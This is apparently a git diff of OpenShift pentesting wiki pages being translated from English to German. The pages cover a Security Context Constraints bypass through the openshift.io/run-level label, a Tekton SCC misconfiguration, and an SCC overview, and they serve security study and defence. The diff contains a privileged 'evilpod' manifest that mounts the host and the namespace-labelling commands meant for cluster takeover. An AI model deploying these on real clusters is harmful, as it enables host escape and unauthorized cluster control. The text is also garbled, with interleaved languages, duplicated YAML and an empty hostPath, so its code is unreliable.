- Edit a Namespace and Create a Pod on this Namespace
|
||||
Es gibt eine Möglichkeit, die Anwendung von SCC auf Ihrem Pod gemäß der RedHat-Dokumentation zu deaktivieren. Sie müssen mindestens eine der folgenden Berechtigungen haben:
|
||||
|
||||
- Erstellen eines Namespaces und Erstellen eines Pods in diesem Namespace
|
||||
- Bearbeiten eines Namespaces und Erstellen eines Pods in diesem Namespace
|
||||
```bash
|
||||
$ oc auth can-i create namespaces
|
||||
yes
|
||||
yes
|
||||
|
||||
$ oc auth can-i patch namespaces
|
||||
yes
|
||||
yes
|
||||
```
|
||||
|
||||
The specific label`openshift.io/run-level` enables users to circumvent SCCs for applications. As per RedHat documentation, when this label is utilized, no SCCs are enforced on all pods within that namespace, effectively removing any restrictions.
|
||||
Der spezifische Label `openshift.io/run-level` ermöglicht es Benutzern, SCCs für Anwendungen zu umgehen. Laut der RedHat-Dokumentation werden bei Verwendung dieses Labels keine SCCs auf alle Pods innerhalb dieses Namensraums durchgesetzt, wodurch alle Einschränkungen effektiv aufgehoben werden.
|
||||
|
||||
<figure><img src="../../../images/Openshift-RunLevel4.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Add Label
|
||||
|
||||
To add the label in your namespace :
|
||||
## Label hinzufügen
|
||||
|
||||
Um das Label in Ihrem Namensraum hinzuzufügen:
|
||||
```bash
|
||||
$ oc label ns MYNAMESPACE openshift.io/run-level=0
|
||||
```
|
||||
|
||||
To create a namespace with the label through a YAML file:
|
||||
|
||||
Um einen Namespace mit dem Label über eine YAML-Datei zu erstellen:
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Namespace
|
||||
metadata:
|
||||
name: evil
|
||||
labels:
|
||||
openshift.io/run-level: 0
|
||||
name: evil
|
||||
labels:
|
||||
openshift.io/run-level: 0
|
||||
```
|
||||
|
||||
Now, all new pods created on the namespace should not have any SCC
|
||||
Jetzt sollten alle neuen Pods, die im Namespace erstellt werden, keine SCC haben.
|
||||
|
||||
<pre class="language-bash"><code class="lang-bash"><strong>$ oc get pod -o yaml | grep 'openshift.io/scc'
|
||||
</strong><strong>$
|
||||
</strong><strong>$
|
||||
</strong></code></pre>
|
||||
|
||||
In the absence of SCC, there are no restrictions on your pod definition. This means that a malicious pod can be easily created to escape onto the host system.
|
||||
|
||||
In Abwesenheit von SCC gibt es keine Einschränkungen für Ihre Pod-Definition. Das bedeutet, dass ein bösartiger Pod leicht erstellt werden kann, um auf das Host-System zu entkommen.
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
metadata:
|
||||
name: evilpod
|
||||
labels:
|
||||
kubernetes.io/hostname: evilpod
|
||||
name: evilpod
|
||||
labels:
|
||||
kubernetes.io/hostname: evilpod
|
||||
spec:
|
||||
hostNetwork: true #Bind pod network to the host network
|
||||
hostPID: true #See host processes
|
||||
hostIPC: true #Access host inter processes
|
||||
containers:
|
||||
- name: evil
|
||||
image: MYIMAGE
|
||||
imagePullPolicy: IfNotPresent
|
||||
securityContext:
|
||||
privileged: true
|
||||
allowPrivilegeEscalation: true
|
||||
resources:
|
||||
limits:
|
||||
memory: 200Mi
|
||||
requests:
|
||||
cpu: 30m
|
||||
memory: 100Mi
|
||||
volumeMounts:
|
||||
- name: hostrootfs
|
||||
mountPath: /mnt
|
||||
volumes:
|
||||
- name: hostrootfs
|
||||
hostPath:
|
||||
path:
|
||||
hostNetwork: true #Bind pod network to the host network
|
||||
hostPID: true #See host processes
|
||||
hostIPC: true #Access host inter processes
|
||||
containers:
|
||||
- name: evil
|
||||
image: MYIMAGE
|
||||
imagePullPolicy: IfNotPresent
|
||||
securityContext:
|
||||
privileged: true
|
||||
allowPrivilegeEscalation: true
|
||||
resources:
|
||||
limits:
|
||||
memory: 200Mi
|
||||
requests:
|
||||
cpu: 30m
|
||||
memory: 100Mi
|
||||
volumeMounts:
|
||||
- name: hostrootfs
|
||||
mountPath: /mnt
|
||||
volumes:
|
||||
- name: hostrootfs
|
||||
hostPath:
|
||||
path:
|
||||
```
|
||||
|
||||
Now, it has become easier to escalate privileges to access the host system and subsequently take over the entire cluster, gaining 'cluster-admin' privileges. Look for **Node-Post Exploitation** part in the following page :
|
||||
Jetzt ist es einfacher geworden, Privilegien zu eskalieren, um auf das Hostsystem zuzugreifen und anschließend den gesamten Cluster zu übernehmen, wodurch 'cluster-admin' Privilegien erlangt werden. Suchen Sie nach dem Abschnitt **Node-Post Exploitation** auf der folgenden Seite:
|
||||
|
||||
{{#ref}}
|
||||
../../kubernetes-security/attacking-kubernetes-from-inside-a-pod.md
|
||||
{{#endref}}
|
||||
|
||||
### Custom labels
|
||||
### Benutzerdefinierte Labels
|
||||
|
||||
Furthermore, based on the target setup, some custom labels / annotations may be used in the same way as the previous attack scenario. Even if it is not made for, labels could be used to give permissions, restrict or not a specific resource.
|
||||
Darüber hinaus können je nach Zielkonfiguration einige benutzerdefinierte Labels / Annotationen auf die gleiche Weise wie im vorherigen Angriffszenario verwendet werden. Auch wenn sie nicht dafür vorgesehen sind, könnten Labels verwendet werden, um Berechtigungen zu erteilen, eine bestimmte Ressource einzuschränken oder nicht.
|
||||
|
||||
Try to look for custom labels if you can read some resources. Here a list of interesting resources :
|
||||
Versuchen Sie, nach benutzerdefinierten Labels zu suchen, wenn Sie einige Ressourcen lesen können. Hier ist eine Liste interessanter Ressourcen:
|
||||
|
||||
- Pod
|
||||
- Deployment
|
||||
- Namespace
|
||||
- Service
|
||||
- Route
|
||||
|
||||
```bash
|
||||
$ oc get pod -o yaml | grep labels -A 5
|
||||
$ oc get namespace -o yaml | grep labels -A 5
|
||||
```
|
||||
|
||||
## List all privileged namespaces
|
||||
|
||||
## Liste aller privilegierten Namespaces
|
||||
```bash
|
||||
$ oc get project -o yaml | grep 'run-level' -b5
|
||||
```
|
||||
## Fortgeschrittener Exploit
|
||||
|
||||
## Advanced exploit
|
||||
In OpenShift, wie zuvor demonstriert, kann das Berechtigung, ein Pod in einem Namespace mit dem `openshift.io/run-level`-Label zu deployen, zu einer unkomplizierten Übernahme des Clusters führen. Aus der Perspektive der Cluster-Einstellungen **kann diese Funktionalität nicht deaktiviert werden**, da sie im Design von OpenShift verankert ist.
|
||||
|
||||
In OpenShift, as demonstrated earlier, having permission to deploy a pod in a namespace with the `openshift.io/run-level`label can lead to a straightforward takeover of the cluster. From a cluster settings perspective, this functionality **cannot be disabled**, as it is inherent to OpenShift's design.
|
||||
Allerdings können Maßnahmen wie **Open Policy Agent GateKeeper** verhindern, dass Benutzer dieses Label setzen.
|
||||
|
||||
However, mitigation measures like **Open Policy Agent GateKeeper** can prevent users from setting this label.
|
||||
Um die Regeln von GateKeeper zu umgehen und dieses Label zu setzen, um eine Cluster-Übernahme durchzuführen, **müssten Angreifer alternative Methoden identifizieren.**
|
||||
|
||||
To bypass GateKeeper's rules and set this label to execute a cluster takeover, **attackers would need to identify alternative methods.**
|
||||
|
||||
## References
|
||||
## Referenzen
|
||||
|
||||
- [https://docs.openshift.com/container-platform/4.8/authentication/managing-security-context-constraints.html](https://docs.openshift.com/container-platform/4.8/authentication/managing-security-context-constraints.html)
|
||||
- [https://docs.openshift.com/container-platform/3.11/admin_guide/manage_scc.html](https://docs.openshift.com/container-platform/3.11/admin_guide/manage_scc.html)
|
||||
- [https://github.com/open-policy-agent/gatekeeper](https://github.com/open-policy-agent/gatekeeper)
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,79 +1,71 @@
|
||||
# OpenShift - Tekton
|
||||
|
||||
**The original author of this page is** [**Haroun**](https://www.linkedin.com/in/haroun-al-mounayar-571830211)
|
||||
**Der ursprüngliche Autor dieser Seite ist** [**Haroun**](https://www.linkedin.com/in/haroun-al-mounayar-571830211)
|
||||
|
||||
### What is tekton
|
||||
### Was ist Tekton
|
||||
|
||||
According to the doc: _Tekton is a powerful and flexible open-source framework for creating CI/CD systems, allowing developers to build, test, and deploy across cloud providers and on-premise systems._ Both Jenkins and Tekton can be used to test, build and deploy applications, however Tekton is Cloud Native. 
|
||||
Laut der Dokumentation: _Tekton ist ein leistungsstarkes und flexibles Open-Source-Framework zur Erstellung von CI/CD-Systemen, das Entwicklern ermöglicht, über Cloud-Anbieter und lokale Systeme hinweg zu bauen, zu testen und bereitzustellen._ Sowohl Jenkins als auch Tekton können verwendet werden, um Anwendungen zu testen, zu bauen und bereitzustellen, jedoch ist Tekton Cloud Native. 
|
||||
|
||||
With Tekton everything is represented by YAML files. Developers can create Custom Resources (CR) of type `Pipelines` and specify multiple `Tasks` in them that they want to run. To run a Pipeline resources of type `PipelineRun` must be created.
|
||||
Mit Tekton wird alles durch YAML-Dateien dargestellt. Entwickler können benutzerdefinierte Ressourcen (CR) vom Typ `Pipelines` erstellen und mehrere `Tasks` angeben, die sie ausführen möchten. Um eine Pipeline auszuführen, müssen Ressourcen vom Typ `PipelineRun` erstellt werden.
|
||||
|
||||
When tekton is installed a service account (sa) called pipeline is created in every namespace. When a Pipeline is ran, a pod will be spawned using this sa called `pipeline` to run the tasks defined in the YAML file.
|
||||
Wenn Tekton installiert ist, wird in jedem Namespace ein Dienstkonto (sa) namens pipeline erstellt. Wenn eine Pipeline ausgeführt wird, wird ein Pod erstellt, der dieses sa namens `pipeline` verwendet, um die im YAML-Dokument definierten Aufgaben auszuführen.
|
||||
|
||||
{{#ref}}
|
||||
https://tekton.dev/docs/getting-started/pipelines/
|
||||
{{#endref}}
|
||||
|
||||
### The Pipeline service account capabilities
|
||||
|
||||
By default, the pipeline service account can use the `pipelines-scc` capability. This is due to the global default configuration of tekton. Actually, the global config of tekton is also a YAML in an openshift object called `TektonConfig` that can be seen if you have some reader roles in the cluster.
|
||||
### Die Fähigkeiten des Pipeline-Dienstkontos
|
||||
|
||||
Standardmäßig kann das Pipeline-Dienstkonto die Fähigkeit `pipelines-scc` nutzen. Dies liegt an der globalen Standardkonfiguration von Tekton. Tatsächlich ist die globale Konfiguration von Tekton ebenfalls ein YAML in einem OpenShift-Objekt namens `TektonConfig`, das sichtbar ist, wenn Sie einige Leserollen im Cluster haben.
|
||||
```yaml
|
||||
apiVersion: operator.tekton.dev/v1alpha1
|
||||
kind: TektonConfig
|
||||
metadata:
|
||||
name: config
|
||||
name: config
|
||||
spec:
|
||||
...
|
||||
...
|
||||
platforms:
|
||||
openshift:
|
||||
scc:
|
||||
default: "pipelines-scc"
|
||||
...
|
||||
...
|
||||
platforms:
|
||||
openshift:
|
||||
scc:
|
||||
default: "pipelines-scc"
|
||||
```
|
||||
In jedem Namespace, wenn Sie das Token des Pipeline-Servicekontos erhalten können, werden Sie in der Lage sein, `pipelines-scc` zu verwenden.
|
||||
|
||||
In any namespace, if you can get the pipeline service account token you will be able to use `pipelines-scc`.
|
||||
|
||||
### The Misconfig
|
||||
|
||||
The problem is that the default scc that the pipeline sa can use is user controllable. This can be done using a label in the namespace definition. For instance, if I can create a namespace with the following yaml definition:
|
||||
### Die Fehlkonfiguration
|
||||
|
||||
Das Problem ist, dass die standardmäßige SCC, die das Pipeline-SA verwenden kann, vom Benutzer kontrollierbar ist. Dies kann durch ein Label in der Namespace-Definition erfolgen. Zum Beispiel, wenn ich einen Namespace mit der folgenden YAML-Definition erstellen kann:
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Namespace
|
||||
metadata:
|
||||
name: test-namespace
|
||||
annotations:
|
||||
operator.tekton.dev/scc: privileged
|
||||
name: test-namespace
|
||||
annotations:
|
||||
operator.tekton.dev/scc: privileged
|
||||
```
|
||||
Der Tekton-Operator wird dem Pipeline-Servicekonto im `test-namespace` die Fähigkeit geben, die scc privileged zu verwenden. Dies ermöglicht das Mounten des Knotens.
|
||||
|
||||
The tekton operator will give to the pipeline service account in `test-namespace` the ability to use the scc privileged. This will allow the mounting of the node.
|
||||
### Die Lösung
|
||||
|
||||
### The fix
|
||||
|
||||
Tekton documents about how to restrict the override of scc by adding a label in the `TektonConfig` object.
|
||||
Tekton-Dokumente darüber, wie man die Überschreibung von scc einschränken kann, indem man ein Label im `TektonConfig`-Objekt hinzufügt.
|
||||
|
||||
{{#ref}}
|
||||
https://tekton.dev/docs/operator/sccconfig/
|
||||
{{#endref}}
|
||||
|
||||
This label is called `max-allowed` 
|
||||
|
||||
Dieses Label wird `max-allowed` genannt.
|
||||
```yaml
|
||||
apiVersion: operator.tekton.dev/v1alpha1
|
||||
kind: TektonConfig
|
||||
metadata:
|
||||
name: config
|
||||
name: config
|
||||
spec:
|
||||
...
|
||||
...
|
||||
platforms:
|
||||
openshift:
|
||||
scc:
|
||||
default: "restricted-v2"
|
||||
maxAllowed: "privileged"
|
||||
...
|
||||
...
|
||||
platforms:
|
||||
openshift:
|
||||
scc:
|
||||
default: "restricted-v2"
|
||||
maxAllowed: "privileged"
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,36 +1,35 @@
|
||||
# Openshift - SCC
|
||||
|
||||
**The original author of this page is** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)
|
||||
**Der ursprüngliche Autor dieser Seite ist** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)
|
||||
|
||||
## Definition
|
||||
|
||||
In the context of OpenShift, SCC stands for **Security Context Constraints**. Security Context Constraints are policies that control permissions for pods running on OpenShift clusters. They define the security parameters under which a pod is allowed to run, including what actions it can perform and what resources it can access.
|
||||
Im Kontext von OpenShift steht SCC für **Security Context Constraints**. Security Context Constraints sind Richtlinien, die Berechtigungen für Pods steuern, die auf OpenShift-Clustern ausgeführt werden. Sie definieren die Sicherheitsparameter, unter denen ein Pod ausgeführt werden darf, einschließlich der Aktionen, die er ausführen kann, und der Ressourcen, auf die er zugreifen kann.
|
||||
|
||||
SCCs help administrators enforce security policies across the cluster, ensuring that pods are running with appropriate permissions and adhering to organizational security standards. These constraints can specify various aspects of pod security, such as:
|
||||
SCCs helfen Administratoren, Sicherheitsrichtlinien im gesamten Cluster durchzusetzen, indem sichergestellt wird, dass Pods mit angemessenen Berechtigungen ausgeführt werden und den organisatorischen Sicherheitsstandards entsprechen. Diese Einschränkungen können verschiedene Aspekte der Podsicherheit spezifizieren, wie zum Beispiel:
|
||||
|
||||
1. Linux capabilities: Limiting the capabilities available to containers, such as the ability to perform privileged actions.
|
||||
2. SELinux context: Enforcing SELinux contexts for containers, which define how processes interact with resources on the system.
|
||||
3. Read-only root filesystem: Preventing containers from modifying files in certain directories.
|
||||
4. Allowed host directories and volumes: Specifying which host directories and volumes a pod can mount.
|
||||
5. Run as UID/GID: Specifying the user and group IDs under which the container process runs.
|
||||
6. Network policies: Controlling network access for pods, such as restricting egress traffic.
|
||||
1. Linux-Fähigkeiten: Einschränkung der für Container verfügbaren Fähigkeiten, wie die Fähigkeit, privilegierte Aktionen auszuführen.
|
||||
2. SELinux-Kontext: Durchsetzung von SELinux-Kontexten für Container, die definieren, wie Prozesse mit Ressourcen im System interagieren.
|
||||
3. Nur-Lese-Wurzel-Dateisystem: Verhinderung, dass Container Dateien in bestimmten Verzeichnissen ändern.
|
||||
4. Erlaubte Hostverzeichnisse und -volumes: Spezifizierung, welche Hostverzeichnisse und -volumes ein Pod einbinden kann.
|
||||
5. Ausführen als UID/GID: Spezifizierung der Benutzer- und Gruppen-IDs, unter denen der Containerprozess läuft.
|
||||
6. Netzwerkrichtlinien: Steuerung des Netzwerkzugriffs für Pods, wie z.B. Einschränkung des ausgehenden Datenverkehrs.
|
||||
|
||||
By configuring SCCs, administrators can ensure that pods are running with the appropriate level of security isolation and access controls, reducing the risk of security vulnerabilities or unauthorized access within the cluster.
|
||||
Durch die Konfiguration von SCCs können Administratoren sicherstellen, dass Pods mit dem angemessenen Maß an Sicherheitsisolierung und Zugriffskontrollen ausgeführt werden, wodurch das Risiko von Sicherheitsanfälligkeiten oder unbefugtem Zugriff innerhalb des Clusters verringert wird.
|
||||
|
||||
Basically, every time a pod deployment is requested, an admission process is executed as the following:
|
||||
Grundsätzlich wird jedes Mal, wenn eine Pod-Bereitstellung angefordert wird, ein Zulassungsprozess wie folgt ausgeführt:
|
||||
|
||||
<figure><img src="../../images/Managing SCCs in OpenShift-1.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
This additional security layer by default prohibits the creation of privileged pods, mounting of the host file system, or setting any attributes that could lead to privilege escalation.
|
||||
Diese zusätzliche Sicherheitsschicht verbietet standardmäßig die Erstellung von privilegierten Pods, das Einbinden des Host-Dateisystems oder das Setzen von Attributen, die zu einer Privilegieneskalation führen könnten.
|
||||
|
||||
{{#ref}}
|
||||
../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/pod-escape-privileges.md
|
||||
{{#endref}}
|
||||
|
||||
## List SCC
|
||||
|
||||
To list all the SCC with the Openshift Client :
|
||||
## Liste SCC
|
||||
|
||||
Um alle SCC mit dem Openshift-Client aufzulisten:
|
||||
```bash
|
||||
$ oc get scc #List all the SCCs
|
||||
|
||||
@@ -38,25 +37,20 @@ $ oc auth can-i --list | grep securitycontextconstraints #Which scc user can use
|
||||
|
||||
$ oc describe scc $SCC #Check SCC definitions
|
||||
```
|
||||
Alle Benutzer haben Zugriff auf die Standard-SCC "**restricted**" und "**restricted-v2**", die die strengsten SCCs sind.
|
||||
|
||||
All users have access the default SCC "**restricted**" and "**restricted-v2**" which are the strictest SCCs.
|
||||
|
||||
## Use SCC
|
||||
|
||||
The SCC used for a pod is defined inside an annotation :
|
||||
## Verwendung von SCC
|
||||
|
||||
Die für ein Pod verwendete SCC ist in einer Annotation definiert:
|
||||
```bash
|
||||
$ oc get pod MYPOD -o yaml | grep scc
|
||||
openshift.io/scc: privileged
|
||||
openshift.io/scc: privileged
|
||||
```
|
||||
|
||||
When a user has access to multiple SCCs, the system will utilize the one that aligns with the security context values. Otherwise, it will trigger a forbidden error.
|
||||
|
||||
Wenn ein Benutzer Zugriff auf mehrere SCCs hat, verwendet das System diejenige, die mit den Sicherheitskontextwerten übereinstimmt. Andernfalls wird ein Fehler "verboten" ausgelöst.
|
||||
```bash
|
||||
$ oc apply -f evilpod.yaml #Deploy a privileged pod
|
||||
Error from server (Forbidden): error when creating "evilpod.yaml": pods "evilpod" is forbidden: unable to validate against any security context constrain
|
||||
Error from server (Forbidden): error when creating "evilpod.yaml": pods "evilpod" is forbidden: unable to validate against any security context constrain
|
||||
```
|
||||
|
||||
## SCC Bypass
|
||||
|
||||
{{#ref}}
|
||||
@@ -66,7 +60,3 @@ openshift-privilege-escalation/openshift-scc-bypass.md
|
||||
## References
|
||||
|
||||
- [https://www.redhat.com/en/blog/managing-sccs-in-openshift](https://www.redhat.com/en/blog/managing-sccs-in-openshift)
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
Reference in New Issue
Block a user